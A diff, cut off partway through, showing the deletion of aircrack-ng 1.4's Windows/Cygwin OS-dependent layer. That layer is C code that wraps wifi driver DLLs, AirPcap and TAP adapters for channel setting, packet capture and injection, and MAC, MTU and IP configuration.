- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-#ifndef _OSDEP_COMMON_H_
-#define _OSDEP_COMMON_H_
-
-#if defined(_MSC_VER)
-//  Microsoft
-#define EXPORT __declspec(dllexport)
-#define IMPORT __declspec(dllimport)
-#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
-	|| defined(__INTEL_COMPILER)
-#define EXPORT __attribute__((visibility("default")))
-#define IMPORT
-#else
-//  do nothing and hope for the best?
-#define EXPORT
-#define IMPORT
-#pragma warning Unknown dynamic link import / export semantics.
-#endif
-
-IMPORT int getFrequencyFromChannel(int channel);
-IMPORT int getChannelFromFrequency(int frequency);
-
-/*
-// For later use, because aircrack-ng doesn't compile with MS compilers
-#if defined(WIN32) || defined(__WIN__)
-#define ftruncate(a, b) _chsize(a,b)
-#endif
-*/
-
-#define HIGHEST_CHANNEL 220
-#define LOWEST_CHANNEL -16
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/cygwin.c Deleted

@@ -1,560 +0,0 @@
-/*
-   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-   *
-   *  OS dependent API for cygwin. It relies on an external
-   *  DLL to do the actual wifi stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-   */
-
-#include <pthread.h>
-#include <unistd.h>
-#include <assert.h>
-#include <stdlib.h>
-#include <dlfcn.h>
-#include <string.h>
-#include <stdio.h>
-#include <ctype.h>
-#include <windows.h>
-
-#include "osdep.h"
-#include "network.h"
-#include "cygwin.h"
-
-#ifdef HAVE_AIRPCAP
-#include "aircrack_ng_airpcap.h"
-#endif
-
-#define xstr(s) str(s)
-#define str(s) #s
-
-#define DLL_EXTENSION ".dll"
-
-struct priv_cygwin
-{
-	pthread_t pc_reader;
-	volatile int pc_running;
-	int pc_pipe[2]; /* reader -> parent */
-	int pc_channel;
-	int pc_frequency;
-	struct wif * pc_wi;
-	int pc_did_init;
-
-	int isAirpcap;
-	int useDll;
-
-	int (*pc_init)(char * param);
-	int (*pc_set_chan)(int chan);
-	int (*pc_set_freq)(int freq);
-	int (*pc_inject)(void * buf, int len, struct tx_info * ti);
-	int (*pc_sniff)(void * buf, int len, struct rx_info * ri);
-	int (*pc_get_mac)(void * mac);
-	int (*pc_set_mac)(void * mac);
-	void (*pc_close)(void);
-};
-
-/**
- * strstr() function case insensitive
- * @param String C string to be scanned
- * @param Pattern C string containing the sequence of characters to match
- * @return Pointer to the first occurrence of Pattern in String, or a null
- * pointer if there Pattern is not part of String.
- */
-char * stristr(const char * String, const char * Pattern)
-{
-	char *pptr, *sptr, *start;
-	unsigned slen, plen;
-
-	for (start = (char *) String,
-		pptr = (char *) Pattern,
-		slen = strlen(String),
-		plen = strlen(Pattern);
-
-		 /* while string length not shorter than pattern length */
-
-		 slen >= plen;
-
-		 start++, slen--)
-	{
-		/* find start of pattern in string */
-		while (toupper((int) *start) != toupper((int) *Pattern))
-		{
-			start++;
-			slen--;
-
-			/* if pattern longer than string */
-
-			if (slen < plen) return (NULL);
-		}
-
-		sptr = start;
-		pptr = (char *) Pattern;
-
-		while (toupper((int) *sptr) == toupper((int) *pptr))
-		{
-			sptr++;
-			pptr++;
-
-			/* if end of pattern then pattern was found */
-
-			if ('\0' == *pptr) return (start);
-		}
-	}
-	return (NULL);
-}
-
-/**
- * Get the different functions for to interact with the device:
- * - setting monitor mode
- * - changing channel
- * - capturing data
- * - injecting packets
- * @param iface The interface name
- */
-static int do_cygwin_open(struct wif * wi, char * iface)
-{
-	struct priv_cygwin * priv = wi_priv(wi);
-	void * lib;
-	char * file;
-	char * parm;
-	int rc = -1;
-
-	if (!iface) return -1;
-	if (strlen(iface) == 0) return -1;
-
-	priv->useDll = 0;
-
-	if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1;
-
-	if (priv->useDll)
-	{
-		file = strdup(iface);
-		if (!file) return -1;
-
-		parm = strchr(file, '|');
-		if (parm) *parm++ = 0;
-
-		/* load lib */
-		lib = dlopen(file, RTLD_LAZY);
-		if (!lib) goto errdll;
-
-		priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT));
-		priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN));
-		priv->pc_set_freq = dlsym(lib, xstr(CYGWIN_DLL_SET_FREQ));
-		priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC));
-		priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC));
-		priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE));
-		priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT));
-		priv->pc_sniff = dlsym(lib, xstr(CYGWIN_DLL_SNIFF));
-
-		if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac
-			  && priv->pc_inject
-			  && priv->pc_sniff
-			  && priv->pc_close))
-			goto errdll;
-
-		/* init lib */
-		if ((rc = priv->pc_init(parm))) goto errdll;
-		priv->pc_did_init = 1;
-
-		rc = 0;
-
-	errdll:
-		free(file);
-	}
-	else
-	{
-#ifdef HAVE_AIRPCAP
-		// Check if it's an Airpcap device
-		priv->isAirpcap = isAirpcapDevice(iface);
-
-		if (priv->isAirpcap)
-		{
-			// Get functions
-			priv->pc_init = airpcap_init;
-			priv->pc_set_chan = airpcap_set_chan;
-			priv->pc_get_mac = airpcap_get_mac;
-			priv->pc_set_mac = airpcap_set_mac;
-			priv->pc_close = airpcap_close;
-			priv->pc_inject = airpcap_inject;
-			priv->pc_sniff = airpcap_sniff;
-
-			rc = 0;
-		}
-
-#endif
-	}
-
-	if (rc == 0)
-	{
-		// Don't forget to initialize
-		if (!priv->useDll)
-		{
-			rc = priv->pc_init(iface);
-
-			if (rc == 0)
-				priv->pc_did_init = 1;
-			else
-				fprintf(stderr, "Error initializing <%s>\n", iface);
-		}
-	}
-	else
-	{
-		// Show an error message if the adapter is not supported
-		fprintf(stderr, "Adapter <%s> not supported\n", iface);
-	}
-
-	return rc;
-}
-
-/**
- * Change channel
- * @param chan Channel
- * @return 0 if successful, -1 if it failed
- */
-static int cygwin_set_channel(struct wif * wi, int chan)
-{
-	struct priv_cygwin * priv = wi_priv(wi);
-
-	if (priv->pc_set_chan(chan) == -1) return -1;
-
-	priv->pc_channel = chan;
-	return 0;
-}
-
-/**
- * Change frequency
- * @param freq Frequency
- * @return 0 if successful, -1 if it failed
- */
-static int cygwin_set_freq(struct wif * wi, int freq)
-{
-	struct priv_cygwin * priv = wi_priv(wi);
-
-	if (!priv->pc_set_freq || priv->pc_set_freq(freq) == -1) return -1;
-
-	priv->pc_frequency = freq;
-	return 0;
-}
-
-/**
- * Capture a packet
- * @param buf Buffer for the packet (has to be already allocated)
- * @param len Length of the buffer
- * @param ri Receive information structure
- * @return -1 in case of failure or the number of bytes received
- */
-static int cygwin_read_packet(struct priv_cygwin * priv,
-							  void * buf,
-							  int len,
-							  struct rx_info * ri)
-{
-	int rd;
-
-	memset(ri, 0, sizeof(*ri));
-
-	rd = priv->pc_sniff(buf, len, ri);
-	if (rd == -1) return -1;
-
-	if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi);
-
-	return rd;
-}
-
-/**
- * Send a packet
- * @param h80211 The packet itself
- * @param len Length of the packet
- * @param ti Transmit information
- * @return -1 if failure or the number of bytes sent
- */
-static int cygwin_write(struct wif * wi,
-						unsigned char * h80211,
-						int len,
-						struct tx_info * ti)
-{
-	struct priv_cygwin * priv = wi_priv(wi);
-	int rc;
-
-	if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1;
-
-	return rc;
-}
-
-/**
- * Get device channel
- * @return channel
- */
-static int cygwin_get_channel(struct wif * wi)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-
-	return pc->pc_channel;
-}
-
-static int cygwin_get_freq(struct wif * wi)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-
-	return pc->pc_frequency;
-}
-
-int cygwin_read_reader(int fd, int plen, void * dst, int len)
-{
-	/* packet */
-	if (len > plen) len = plen;
-	if (net_read_exact(fd, dst, len) == -1) return -1;
-	plen -= len;
-
-	/* consume packet */
-	while (plen)
-	{
-		char lame[1024];
-		int rd = sizeof(lame);
-
-		if (rd > plen) rd = plen;
-
-		if (net_read_exact(fd, lame, rd) == -1) return -1;
-
-		plen -= rd;
-
-		assert(plen >= 0);
-	}
-
-	return len;
-}
-
-static int cygwin_read(struct wif * wi,
-					   unsigned char * h80211,
-					   int len,
-					   struct rx_info * ri)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-	struct rx_info tmp;
-	int plen;
-
-	if (pc->pc_running == -1) return -1;
-
-	if (!ri) ri = &tmp;
-
-	/* length */
-	if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1;
-
-	/* ri */
-	if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1;
-	plen -= sizeof(*ri);
-	assert(plen > 0);
-
-	return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len);
-}
-
-/**
- * Free allocated data
- */
-static void do_free(struct wif * wi)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-	int tries = 3;
-
-	/* wait for reader */
-	if (pc->pc_running == 1)
-	{
-		pc->pc_running = 0;
-
-		while ((pc->pc_running != -1) && tries--) sleep(1);
-	}
-
-	if (pc->pc_pipe[0])
-	{
-		close(pc->pc_pipe[0]);
-		close(pc->pc_pipe[1]);
-	}
-
-	if (pc->pc_did_init) pc->pc_close();
-
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-
-	free(wi);
-}
-
-/**
- * Close the device and free data
- */
-static void cygwin_close(struct wif * wi) { do_free(wi); }
-
-/**
- * Get the file descriptor for the device
- */
-static int cygwin_fd(struct wif * wi)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-
-	if (pc->pc_running == -1) return -1;
-
-	return pc->pc_pipe[0];
-}
-
-/**
- * Get MAC Address of the device
- * @param mac It will contain the mac address
- * @return 0 if successful
- */
-static int cygwin_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-
-	return pc->pc_get_mac(mac);
-}
-/**
- * Set MAC Address of the device
- * @param mac MAC Address
- * @return 0 if successful
- */
-static int cygwin_set_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_cygwin * pc = wi_priv(wi);
-
-	return pc->pc_set_mac(mac);
-}
-
-static int cygwin_get_monitor(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	return 0;
-}
-
-static int cygwin_get_rate(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	return 1000000;
-}
-
-/**
- * Set (injection) rate of the device
- * @param rate Rate to be used
- * @return 0 (successful)
- */
-static int cygwin_set_rate(struct wif * wi, int rate)
-{
-	if (wi || rate)
-	{
-	} /* XXX unused */
-
-	return 0;
-}
-
-static void * cygwin_reader(void * arg)
-{
-	struct priv_cygwin * priv = arg;
-	unsigned char buf[2048];
-	int len;
-	struct rx_info ri;
-
-	while (priv->pc_running)
-	{
-		/* read one packet */
-
-		/* a potential problem: the cygwin_read_packet will never return
-		 * if there no packet sniffered, so the thread cannot be closed
-		 * correctly.
-		 */
-		len = cygwin_read_packet(priv, buf, sizeof(buf), &ri);
-		if (len == -1) break;
-
-		/* len */
-		len += sizeof(ri);
-		if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break;
-		len -= sizeof(ri);
-
-		/* ri */
-		if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break;
-
-		/* packet */
-		if (write(priv->pc_pipe[1], buf, len) != len) break;
-	}
-
-	priv->pc_running = -1;
-	return NULL;
-}
-
-static struct wif * cygwin_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_cygwin * priv;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*priv));
-	if (!wi) return NULL;
-	wi->wi_read = cygwin_read;
-	wi->wi_write = cygwin_write;
-	wi->wi_set_channel = cygwin_set_channel;
-	wi->wi_get_channel = cygwin_get_channel;
-	wi->wi_set_freq = cygwin_set_freq;
-	wi->wi_get_freq = cygwin_get_freq;
-	wi->wi_close = cygwin_close;
-	wi->wi_fd = cygwin_fd;
-	wi->wi_get_mac = cygwin_get_mac;
-	wi->wi_set_mac = cygwin_set_mac;
-	wi->wi_get_rate = cygwin_get_rate;
-	wi->wi_set_rate = cygwin_set_rate;
-	wi->wi_get_monitor = cygwin_get_monitor;
-
-	/* setup iface */
-	if (do_cygwin_open(wi, iface) == -1) goto err;
-
-	/* setup private state */
-	priv = wi_priv(wi);
-	priv->pc_wi = wi;
-
-	/* setup reader */
-	if (pipe(priv->pc_pipe) == -1) goto err;
-	priv->pc_running = 2;
-	if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err;
-	priv->pc_running = 1;
-
-	return wi;
-
-err:
-	do_free(wi);
-	return NULL;
-}
-
-struct wif * wi_open_osdep(char * iface) { return cygwin_open(iface); }
-
-/**
- * Return remaining battery time in seconds.
- * @return Battery time in seconds or 0 if no battery (or connected to power)
- */
-EXPORT int get_battery_state(void)
-{
-	SYSTEM_POWER_STATUS powerStatus;
-	int batteryTime = 0;
-
-	if (GetSystemPowerStatus(&powerStatus) == TRUE)
-	{
-
-		if (powerStatus.ACLineStatus == 0)
-			batteryTime = (int) powerStatus.BatteryLifeTime;
-	}
-	return batteryTime;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/cygwin_tap.c Deleted

@@ -1,645 +0,0 @@
-/*
-   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-   *
-   *  OS dependent API for cygwin. TAP routines
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <pthread.h>
-#include <assert.h>
-
-#include "osdep.h"
-
-#include <windows.h>
-#include <winioctl.h>
-#include <ipexport.h>
-#include <iptypes.h>
-#include <initguid.h>
-#include <devguid.h>
-#include <setupapi.h>
-
-#include "network.h"
-#include "tap-win32/common.h"
-
-extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,
-									PULONG pOutBufLen);
-extern DWORD WINAPI AddIPAddress(IPAddr Address,
-								 IPMask IpMask,
-								 DWORD IfIndex,
-								 PULONG NTEContext,
-								 PULONG NTEInstance);
-extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext);
-
-extern int cygwin_read_reader(int fd, int plen, void * dst, int len);
-static void * ti_reader(void * arg);
-
-struct tip_cygwin
-{
-	char tc_name[MAX_IFACE_NAME];
-	HANDLE tc_h;
-	pthread_t tc_reader;
-	volatile int tc_running;
-	int tc_pipe[2]; /* reader -> parent */
-	pthread_mutex_t tc_mtx;
-	HKEY tc_key;
-	char tc_guid[256];
-};
-
-/**
- * Stop the reader thread (if it is running)
- * @return 0 if stopped or -1 if it failed to stop it
- */
-static int stop_reader(struct tip_cygwin * priv)
-{
-	if (priv->tc_running == 1)
-	{
-		int tries = 3;
-
-		priv->tc_running = 0;
-		while ((priv->tc_running != -1) && tries--) sleep(1);
-
-		if (tries <= 0) return -1;
-	}
-
-	return 0;
-}
-
-/**
- * Start reader thread
- * @return -1 if failed to start thread or 0 if it is successful
- */
-static int start_reader(struct tip_cygwin * priv)
-{
-	priv->tc_running = 2;
-	if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv)) return -1;
-
-	priv->tc_running = 1;
-
-	return 0;
-}
-
-/**
- * Change status (enable/disable) of the device
- */
-static int ti_media_status(struct tip_cygwin * priv, int on)
-{
-	ULONG s = on;
-	DWORD len;
-
-	if (!DeviceIoControl(priv->tc_h,
-						 TAP_IOCTL_SET_MEDIA_STATUS,
-						 &s,
-						 sizeof(s),
-						 &s,
-						 sizeof(s),
-						 &len,
-						 NULL))
-		return -1;
-
-	return 0;
-}
-
-/**
- * Try opening device
- */
-static int ti_try_open(struct tip_cygwin * priv, char * guid)
-{
-	int any = priv->tc_guid[0] == 0;
-	char device[256];
-	HANDLE h;
-
-	if (!any && strcmp(priv->tc_guid, guid) != 0) return 0;
-
-	/* open the device */
-	snprintf(
-		device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX);
-	h = CreateFile(device,
-				   GENERIC_READ | GENERIC_WRITE,
-				   0,
-				   0,
-				   OPEN_EXISTING,
-				   FILE_ATTRIBUTE_SYSTEM | FILE_FLAG_OVERLAPPED,
-				   0);
-	if (h == INVALID_HANDLE_VALUE)
-	{
-		if (any)
-			return 0;
-		else
-			return -1;
-	}
-	priv->tc_h = h;
-
-	/* XXX check tap version */
-
-	/* bring iface up */
-	if (ti_media_status(priv, 1) == -1) return -1;
-
-	/* XXX grab printable name */
-	snprintf(priv->tc_name, sizeof(priv->tc_name) - 1, "%s", guid);
-
-	if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
-
-	return 1;
-}
-
-/**
- * Read registry value
- * @param key Registry key
- * @return 0 if successful, -1 if it failed
- */
-static int
-ti_read_reg(struct tip_cygwin * priv, char * key, char * res, int len)
-{
-	DWORD dt, l = len;
-
-	if (RegQueryValueEx(priv->tc_key, key, NULL, &dt, (unsigned char *) res, &l)
-		!= ERROR_SUCCESS)
-		return -1;
-
-	if (dt != REG_SZ) return -1;
-
-	if ((int) l > len) return -1;
-
-	return 0;
-}
-
-static int ti_get_devs_component(struct tip_cygwin * priv, char * name)
-{
-	char key[256];
-	int rc = 0;
-
-	snprintf(key, sizeof(key) - 1, "%s\\%s", ADAPTER_KEY, name);
-	if (RegOpenKeyEx(
-			HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key)
-		!= ERROR_SUCCESS)
-		return -1;
-
-	if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1) goto out;
-
-	/* make sure component id matches */
-	if (strcmp(key, TAP_COMPONENT_ID) != 0) goto out;
-
-	/* get guid */
-	if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1) goto out;
-
-	rc = ti_try_open(priv, key);
-
-out:
-	if (rc != 1)
-	{
-		RegCloseKey(priv->tc_key);
-		priv->tc_key = 0;
-	}
-
-	return rc;
-}
-
-static int ti_do_open_cygwin(struct tip_cygwin * priv)
-{
-	int rc = -1;
-	HKEY ak47;
-	int i;
-	char name[256];
-	DWORD len;
-
-	/* open network driver key */
-	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47)
-		!= ERROR_SUCCESS)
-		return -1;
-
-	/* find tap */
-	for (i = 0;; i++)
-	{
-		len = sizeof(name);
-		if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL)
-			!= ERROR_SUCCESS)
-			break;
-
-		rc = ti_get_devs_component(priv, name);
-		if (rc) break;
-		rc = -1;
-	}
-
-	RegCloseKey(ak47);
-
-	if (rc == 1) rc = 0;
-
-	return rc;
-}
-
-static void ti_do_free(struct tif * ti)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-
-	/* stop reader */
-	stop_reader(priv);
-
-	if (priv->tc_pipe[0])
-	{
-		close(priv->tc_pipe[0]);
-		close(priv->tc_pipe[1]);
-	}
-
-	/* close card */
-	if (priv->tc_h)
-	{
-		ti_media_status(priv, 0);
-		CloseHandle(priv->tc_h);
-	}
-
-	if (priv->tc_key) RegCloseKey(priv->tc_key);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_close_cygwin(struct tif * ti) { ti_do_free(ti); }
-
-static char * ti_name_cygwin(struct tif * ti)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-
-	return priv->tc_name;
-}
-
-/* XXX */
-static int
-ti_is_us(struct tip_cygwin * priv, HDEVINFO * hdi, SP_DEVINFO_DATA * did)
-{
-	char buf[256];
-	DWORD len = sizeof(buf), dt;
-
-	if (priv)
-	{
-	} /* XXX unused */
-
-	if (!SetupDiGetDeviceRegistryProperty(
-			*hdi, did, SPDRP_DEVICEDESC, &dt, (unsigned char *) buf, len, &len))
-		return 0;
-
-	if (dt != REG_SZ) return 0;
-
-	return strstr(buf, "TAP-Win32") != NULL;
-}
-
-static int ti_reset_state(HDEVINFO * hdi, SP_DEVINFO_DATA * did, DWORD state)
-{
-	SP_PROPCHANGE_PARAMS parm;
-
-	parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader);
-	parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
-	parm.Scope = DICS_FLAG_GLOBAL;
-	parm.StateChange = state;
-
-	if (!SetupDiSetClassInstallParams(
-			*hdi, did, (SP_CLASSINSTALL_HEADER *) &parm, sizeof(parm)))
-		return -1;
-
-	if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did)) return -1;
-
-	return 0;
-}
-
-/**
- * Reset the device
- * @return 0 if successful, -1 if it failed
- */
-static int ti_do_reset(HDEVINFO * hdi, SP_DEVINFO_DATA * did)
-{
-	int rc;
-
-	rc = ti_reset_state(hdi, did, DICS_DISABLE);
-	if (rc) return rc;
-
-	return ti_reset_state(hdi, did, DICS_ENABLE);
-}
-
-static int ti_restart(struct tip_cygwin * priv)
-{
-	/* kill handle to if */
-	if (priv->tc_h) CloseHandle(priv->tc_h);
-
-	/* stop reader */
-	if (stop_reader(priv)) return -1;
-
-	/* reopen dev */
-	if (ti_do_open_cygwin(priv)) return -1;
-
-	return start_reader(priv);
-}
-
-static int ti_reset(struct tip_cygwin * priv)
-{
-	HDEVINFO hdi;
-	SP_DEVINFO_DATA did;
-	int i;
-	int rc = -1;
-
-	hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL, DIGCF_PRESENT);
-	if (hdi == INVALID_HANDLE_VALUE) return -1;
-
-	/* find device */
-	for (i = 0;; i++)
-	{
-		did.cbSize = sizeof(did);
-		if (!SetupDiEnumDeviceInfo(hdi, i, &did)) break;
-
-		if (!ti_is_us(priv, &hdi, &did)) continue;
-
-		rc = ti_do_reset(&hdi, &did);
-		if (rc) break;
-
-		rc = ti_restart(priv);
-		break;
-	}
-
-	SetupDiDestroyDeviceInfoList(hdi);
-
-	return rc;
-}
-
-static int ti_set_mtu_cygwin(struct tif * ti, int mtu)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-	char m[16];
-	char mold[sizeof(m)];
-	char * key = "MTU";
-
-	/* check if reg remains unchanged to avoid reset */
-	snprintf(m, sizeof(m) - 1, "%d", mtu);
-	if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1)
-	{
-		if (strcmp(m, mold) == 0) return 0;
-	}
-
-	/* change */
-	if (RegSetValueEx(
-			priv->tc_key, key, 0, REG_SZ, (unsigned char *) m, strlen(m) + 1)
-		!= ERROR_SUCCESS)
-		return -1;
-
-	if (ti_reset(priv) == -1) return -1;
-
-	return 0;
-}
-
-/**
- * Set device MAC address
- * @param mac New MAC address
- * @return -1 if it failed, 0 on success
- */
-static int ti_set_mac_cygwin(struct tif * ti, unsigned char * mac)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-	char str[2 * 6 + 1];
-	char strold[sizeof(str)];
-	int i;
-	char * key = "MAC";
-
-	/* convert */
-	str[0] = 0;
-	for (i = 0; i < 6; i++)
-	{
-		char tmp[3];
-
-		if (sprintf(tmp, "%.2X", *mac++) != 2) return -1;
-		strcat(str, tmp);
-	}
-
-	/* check if changed */
-	if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1)
-	{
-		if (strcmp(str, strold) == 0) return 0;
-	}
-
-	/* own */
-	if (RegSetValueEx(priv->tc_key,
-					  key,
-					  0,
-					  REG_SZ,
-					  (unsigned char *) str,
-					  strlen(str) + 1)
-		!= ERROR_SUCCESS)
-		return -1;
-
-	if (ti_reset(priv) == -1) return -1;
-
-	return 0;
-}
-
-/**
- * Set device IP address
- * @param ip New IP address
- * @return -1 if it failed, 0 on success
- */
-static int ti_set_ip_cygwin(struct tif * ti, struct in_addr * ip)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-	ULONG ctx, inst;
-	IP_ADAPTER_INFO ai[16];
-	DWORD len = sizeof(ai);
-	PIP_ADAPTER_INFO p;
-	PIP_ADDR_STRING ips;
-
-	if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS) return -1;
-
-	p = ai;
-	while (p)
-	{
-		if (strcmp(priv->tc_guid, p->AdapterName) != 0)
-		{
-			p = p->Next;
-			continue;
-		}
-
-		/* delete ips */
-		ips = &p->IpAddressList;
-		while (ips)
-		{
-			DeleteIPAddress(ips->Context);
-			ips = ips->Next;
-		}
-
-		/* add ip */
-		if (AddIPAddress(ip->s_addr, htonl(0xffffff00), p->Index, &ctx, &inst)
-			!= NO_ERROR)
-			return -1;
-
-		break;
-	}
-
-	return 0;
-}
-
-static int ti_fd_cygwin(struct tif * ti)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-
-	return priv->tc_pipe[0];
-}
-
-static int ti_read_cygwin(struct tif * ti, void * buf, int len)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-	int plen;
-
-	if (priv->tc_running != 1) return -1;
-
-	/* read len */
-	if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1) return -1;
-
-	return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len);
-}
-
-static int ti_wait_complete(struct tip_cygwin * priv, OVERLAPPED * o)
-{
-	DWORD sz;
-
-	if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE)) return -1;
-
-	return sz;
-}
-
-static int
-ti_do_io(struct tip_cygwin * priv, void * buf, int len, OVERLAPPED * o, int wr)
-{
-	BOOL rc;
-	DWORD sz;
-	int err;
-
-	/* setup overlapped */
-	memset(o, 0, sizeof(*o));
-
-	/* do io */
-	if (wr)
-		rc = WriteFile(priv->tc_h, buf, len, &sz, o);
-	else
-		rc = ReadFile(priv->tc_h, buf, len, &sz, o);
-
-	/* done */
-	if (rc) return sz;
-
-	if ((err = GetLastError()) != ERROR_IO_PENDING) return -1;
-
-	return 0; /* pending */
-}
-
-static int ti_do_io_lock(
-	struct tip_cygwin * priv, void * buf, int len, OVERLAPPED * o, int wr)
-{
-	int rc;
-
-	if (pthread_mutex_lock(&priv->tc_mtx)) return -1;
-
-	rc = ti_do_io(priv, buf, len, o, wr);
-
-	if (pthread_mutex_unlock(&priv->tc_mtx)) return -1;
-
-	/* done */
-	if (rc) return rc;
-
-	return ti_wait_complete(priv, o);
-}
-
-static int ti_write_cygwin(struct tif * ti, void * buf, int len)
-{
-	struct tip_cygwin * priv = ti_priv(ti);
-	OVERLAPPED o;
-
-	return ti_do_io_lock(priv, buf, len, &o, 1);
-}
-
-static int ti_read_packet(struct tip_cygwin * priv, void * buf, int len)
-{
-	OVERLAPPED o;
-	int rc;
-
-	while (priv->tc_running)
-	{
-		rc = ti_do_io_lock(priv, buf, len, &o, 0);
-		if (rc) return rc;
-	}
-
-	return -1;
-}
-
-static void * ti_reader(void * arg)
-{
-	struct tip_cygwin * priv = arg;
-	unsigned char buf[2048];
-	int len;
-
-	while (priv->tc_running)
-	{
-		/* read a packet */
-		if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1) break;
-
-		assert(len > 0);
-
-		/* write it's length */
-		if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len)) break;
-
-		/* write payload */
-		if (write(priv->tc_pipe[1], buf, len) != len) break;
-	}
-
-	priv->tc_running = -1;
-
-	return NULL;
-}
-
-static struct tif * ti_open_cygwin(char * iface)
-{
-	struct tif * ti;
-	struct tip_cygwin * priv;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti) return NULL;
-	priv = ti_priv(ti);
-
-	ti->ti_name = ti_name_cygwin;
-	ti->ti_set_mtu = ti_set_mtu_cygwin;
-	ti->ti_close = ti_close_cygwin;
-	ti->ti_fd = ti_fd_cygwin;
-	ti->ti_read = ti_read_cygwin;
-	ti->ti_write = ti_write_cygwin;
